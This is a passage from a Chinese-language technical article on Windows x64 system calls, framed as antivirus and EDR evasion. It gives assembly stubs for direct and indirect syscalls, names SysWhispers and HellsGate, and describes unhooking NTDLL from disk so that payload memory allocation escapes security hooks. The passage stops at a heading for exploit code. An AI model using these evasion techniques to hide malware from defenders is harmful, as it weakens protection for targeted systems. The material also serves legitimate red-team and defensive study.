调用适用于任意版本Windows系统，只支持x64系统。</p></blockquote><h3 style="line-height: inherit;margin-top: 1.5em;font-weight: bold;font-size: 1.3em;margin-bottom: 2em;margin-right: 5px;padding: 8px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;">2# Syscall由浅入深</span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">知己知彼，百战不殆。只有深入了解执行架构的相关原理，才能更好的理清楚思路做好免杀。</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100001900" data-ratio="0.7444444444444445" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=80b63042&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibcibu0JQgxKv6sNsic1a1kibg6rxKjMicXOJn0iaUVpXTcqUwrS7MLwhCJKfQapfWSxbzDbJWrE1fVu6vw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">在Windows系统中，调用 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">syscalls</code> 充当程序与系统交互的接口，使它们能够请求特定服务，例如读取或写入文件、创建新进程或分配内存。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">例如：当调用 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">WinAPIs</code> 函数时会触发 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">NtAllocateVirtualMemory</code> 系统调用。然后，此 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">syscall</code> 将用户在上一个函数调用中提供的参数移动到 Windows内核，执行请求的操作并将结果返回给程序。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">所有系统调用都会返回一个指示代码的<strong style="font-size: inherit;color: inherit;line-height: inherit;">NTSTATUS 值</strong>,如果系统调用成功执行操作，则返回（零）<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">STATUS_SUCCESS</code>。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">参考链接：<a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55" target="_blank">https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55</a></p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">大多数系统调用都没有在 Microsoft 中记录，因此系统调用模块将参考下面显示的文档：</p><ul style="font-size: inherit;color: inherit;line-height: inherit;padding-left: 32px;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;">Undocumented NTinternals：<a href="http://undocumented.ntinternals.net/" target="_blank">http://undocumented.ntinternals.net/</a></span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;">ReactOS&#39;s NTDLL Reference：<a href="https://doxygen.reactos.org/dir_a7ad942ac829d916497d820c4a26c555.html" target="_blank">https://doxygen.reactos.org/dir_a7ad942ac829d916497d820c4a26c555.html</a></span></p></li></ul><h2 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">2.1 NTDLL 和系统调用</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">大多数系统调用都是从 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">ntdll.dll</code> DLL导出的。</p><h2 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">2.2 Zw 与 Nt 系统调用</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">有两种类型的系统调用，一种以 <strong style="font-size: inherit;color: inherit;line-height: inherit;">开头Nt</strong>，另一种以 <strong style="font-size: inherit;color: inherit;line-height: inherit;">开头Zw</strong>。</p><ul style="font-size: inherit;color: inherit;line-height: inherit;padding-left: 32px;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;">NT 系统调用是用户模式程序的主要接口，这些是大多数 Windows 程序通常使用的系统调用。</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;">Zw 系统调用是操作系统的低级内核模式接口，它们通常由设备驱动程序和其他需要直接访问操作系统功能的内核模式代码使用。</span></p></li></ul><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">总而言之，Zw 系统调用在设备驱动程序开发中用于内核模式，而Nt 系统调用则从用户模式程序执行。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">虽然可以从用户模式程序中使用两者，但仍然可以实现相同的结果。这可以在下图中注意到，其中同一系统调用的Zw和Nt版本共享相同的函数地址。</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100001901" data-ratio="0.375609756097561" data-s="300,640" style="" data-type="png" data-w="820" src="https://wechat2rss.xlab.app/img-proxy/?k=5fb6d981&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibcibu0JQgxKv6sNsic1a1kibg6QPtm1mVFsVmLEvWictJvHiarGnET4NXYMrRWG9eQCsEvoZvUxwDpd4Xg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">2.3 Syscall 结构</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">系统调用结构通常是相同的，看起来像下面显示的代码片段。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;background: rgb(51, 51, 51);color: white;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;">mov r10, rcx<br/>mov eax, SSN<br/>syscall<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">例如，<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">NtAllocateVirtualMemory</code> 在64位系统上如下所示:</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100001902" data-ratio="0.08" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=ad9b46ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibcibu0JQgxKv6sNsic1a1kibg6ibkGFfF4g2t4vbUx2AaribJMV1wXj0QtcJibW3tfwLWvJ2svcQudslaEA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">如下 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">NtProtectVirtualMemory</code> 所示:</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100001903" data-ratio="0.082" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=88e71bc9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibcibu0JQgxKv6sNsic1a1kibg6umCXCaLMOy48I4ItGsfE6uM5DAic8DlGvTVxWngpJ5TfkkwNbxMHtsg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">2.4 NtAPI调用说明</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;"><strong style="font-size: inherit;color: inherit;line-height: inherit;">需要注意，并非所有 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">NtAPI</code> 都是系统调用！</strong></p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">需要注意的是，虽然某些 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">NtAPI</code> 返回 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">NTSTATUS</code>，但它们不一定是系统调用。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">这些 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">NtAPI</code> 可能是 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">WinAPI</code> 或系统调用使用的低级函数。某些 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">NtAPI</code> 不属于系统调用的原因，是它们不符合系统调用的结构。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">例如没有系统调用编号或 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">mov r10</code>, <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">rcx</code> 开头缺少通常的指令。下面显示了非系统调用的 NtAPI 的示例：</p><ul style="font-size: inherit;color: inherit;line-height: inherit;padding-left: 32px;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin-bottom: 0.5em;"><p><code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">LdrLoadDll</code> - <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">WinAPI</code> 使用它 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">LoadLibrary</code> 来将图像加载到调用进程。</p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin-bottom: 0.5em;"><p><code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">SystemFunction032</code> 并且 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">SystemFunction033</code> 这些 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">NtAPI</code> 是之前引入的，并执行 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">RC4</code> 加密/解密操作。</p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin-bottom: 0.5em;"><p><code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">RtlCreateProcessParametersEx</code> - <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">WinAPI</code> 使用它 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">CreateProcess</code> 来创建进程的参数。</p></li></ul><h5 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">加载动态链接库</span></h5><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;"><code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">LdrLoadDll</code> 的指令如下所示。请注意，它不遵循典型的系统调用结构：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100001904" data-ratio="0.288" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=74230446&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibcibu0JQgxKv6sNsic1a1kibg6R95ssxuQj6yjJFZr5EWXjEnwVfbKAYlmaXm2WLOficBSSaDYibueiaUXg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">2.5 绕过用户空间系统调用钩子</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">直接使用系统调用是绕过用户空间钩子的一种方法。例如，在为有效载荷分配内存时使用 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">NtAllocateVirtualMemory</code> 而不是 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">WinAPI</code>：</p><ul style="font-size: inherit;color: inherit;line-height: inherit;padding-left: 32px;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;">使用直接系统调用</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;">使用间接系统调用</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;">解钩（脱钩）</span></p></li></ul><h3 style="line-height: inherit;margin-top: 1.5em;font-weight: bold;font-size: 1.3em;margin-bottom: 2em;margin-right: 5px;padding: 8px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;">3# 直接和间接系统调用</span></h3><h2 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">3.1 直接系统调用</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">通过获取用汇编语言编写的 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">syscall</code> 函数版本，并直接从汇编文件中调用该精心设计的 <br/> <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">syscall</code>，可以实现对用户空间 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">syscall</code> 挂钩的规避。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">难点在于确定 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">syscall</code> 服务编号(SSN)，因为该编号因系统而异。为了克服这个问题，<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">SSN</code> 可以硬编码在汇编文件中，也可以在运行时动态计算。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">以下 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">.asm</code> 文件介绍了汇编文件中精心设计的 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">syscall</code> 示例。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">不同于本课程中之前所做的 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">NtAllocateVirtualMemory</code> 使用 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">GetProcAddress</code> 和进行调用 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">GetModuleHandle</code>，下面的汇编函数可用于获得相同的结果。这样就无需 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">NtAllocateVirtualMemory</code> 从安装钩子的 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">NTDLL</code> 地址空间内进行调用，从而避免了钩子。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;background: rgb(51, 51, 51);color: white;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;">NtAllocateVirtualMemory PROC<br/>    mov r10, rcx<br/>    mov eax, (ssn of NtAllocateVirtualMemory)<br/>    syscall<br/>    ret<br/>NtAllocateVirtualMemory ENDP<br/>NtProtectVirtualMemory PROC<br/>    mov r10, rcx<br/>    mov eax, (ssn of NtProtectVirtualMemory)<br/>    syscall<br/>    ret<br/>NtProtectVirtualMemory ENDP<br/><span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// other syscalls ...</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">此方法被SysWhispers和HellsGate等工具所采用，这两个工具将在后续模块中讨论:</p><ul style="font-size: inherit;color: inherit;line-height: inherit;padding-left: 32px;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;">SysWhispers:<a href="https://github.com/jthuraisamy/SysWhispers" target="_blank">https://github.com/jthuraisamy/SysWhispers</a></span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;">HellsGate:<a href="https://github.com/am0nsec/HellsGate" target="_blank">https://github.com/am0nsec/HellsGate</a></span></p></li></ul><h2 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">3.2 间接系统调用</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">间接系统调用的实现方式与直接系统调用类似，后者必须先手动编写汇编文件。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">两者的区别在于，汇编 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">syscall</code> 函数中没有指令，而是直接跳转到该指令。下图显示了一个直观的表示:</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100001905" data-ratio="0.522" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=a0a87634&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibcibu0JQgxKv6sNsic1a1kibg6P4txiaFZW7K9LRccukqsQ9QNfkTxWlwFeYGlu4aN5O9L12icdf34yWrw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;"><code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">NtAllocateVirtualMemory</code> 和的汇编函数 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">NtProtectVirtualMemory</code> 如下所示：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;background: rgb(51, 51, 51);color: white;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;">NtAllocateVirtualMemory PROC<br/>    mov r10, rcx<br/>    mov eax, (ssn of NtAllocateVirtualMemory)<br/>    jmp (address of a syscall instruction)<br/>    ret<br/>NtAllocateVirtualMemory ENDP<br/>NtProtectVirtualMemory PROC<br/>    mov r10, rcx<br/>    mov eax, (ssn of NtProtectVirtualMemory)<br/>    jmp (address of a syscall instruction)<br/>    ret<br/>NtProtectVirtualMemory ENDP<br/><span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// other syscalls ...</span><br/></code></pre><h5 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">间接系统调用的好处</span></h5><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">执行间接系统调用而非直接系统调用的好处是：安全解决方案会查找从 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">NTDLL</code> 地址空间之外调用的系统调用，并将其视为可疑系统调用。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">使用间接系统调用时，系统调用指令会从 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">NTDLL</code> 的地址空间执行，就像正常的系统调用一样。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">因此，与直接系统调用相比，间接系统调用更容易躲过安全解决方案的检查。</p><h2 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">3.3 解钩（脱钩）</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">解除挂钩是另一种逃避挂钩的方法，即将加载到内存中的挂钩 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">NTDLL</code> 库替换为未挂钩的版本。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">可以从多个地方获取未挂钩的版本，但常用方法之一是直接从磁盘加载。这样做将删除放置在 NTDLL 库内的所有挂钩。</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100001906" data-ratio="0.544" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=9f41341b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibcibu0JQgxKv6sNsic1a1kibg60CKdI1coDNe0XHjthcSTu2ZK9eRauv39tqF6YnPf35WDXLEibdnia01g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 style="line-height: inherit;margin-top: 1.5em;font-weight: bold;font-size: 1.3em;margin-bottom: 2em;margin-right: 5px;padding: 8px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;">4# 优缺点总结和利用代码</span></h3><h2 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">4.1 Syscall的优点</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">优势就笔者个人的经验来说，使用某特别的方式间接调用 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">nt</code>函数，杀软没法直接或者快速查询你的函数使用。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">但这里我们其实不能说你使用的所有 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">nt</code> 函数或者操作行为就是安全的，比如注入这种在 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">loader</code> 中我个人是不太喜欢的使用的，行为过于明显。</p><h2 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: 